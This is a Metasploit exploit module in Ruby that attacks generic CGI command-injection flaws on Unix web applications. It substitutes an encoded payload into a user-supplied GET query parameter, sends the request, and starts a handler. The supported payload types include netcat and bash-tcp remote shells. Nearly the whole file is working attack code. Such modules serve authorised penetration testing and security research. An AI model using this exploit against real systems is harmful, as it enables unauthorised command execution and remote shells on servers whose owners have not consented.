##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Generic Web Application Unix Command Execution',
      'Description'    => %q{
          This module can be used to exploit any generic command execution vulnerability
        for CGI applications on Unix-like platforms. To use this module, specify the
        CMDURI path, replacing the command itself with XXcmdXX. This module is currently
        limited to forms vulnerable through GET requests with query parameters.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     => [ ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'Compat'      =>
            {
              'PayloadType' => 'cmd cmd_bash',
              'RequiredCmd' => 'generic perl telnet netcat netcat-e bash-tcp',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '1993-11-14', # CGI historical date :)
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('CMDURI', [true, "The full URI path with the XXcmdXX parameter", "/cgi-bin/generic?cmd=XXcmdXX"]),
      ])
  end

  def exploit
    uri = datastore['CMDURI'].to_s
    uri,query = uri.split('?', 2)

    if query
      query = query.split('&').map{|var|
        k,v = var.split('=', 2)
        Rex::Text.uri_encode(k) + "=" + Rex::Text.uri_encode(v.gsub("XXcmdXX", payload.encoded))
      }.join('&')
      uri = uri + '?' + query
    end

    print_status("Sending HTTP request for #{uri}")
    res = send_request_cgi( {
      'global' => true,
      'uri'    => uri
    }, 30)

    if res
      print_status("The server responded with HTTP CODE #{res.code}")
    else
      print_status("The server did not respond to our request")
    end

    handler
  end
end
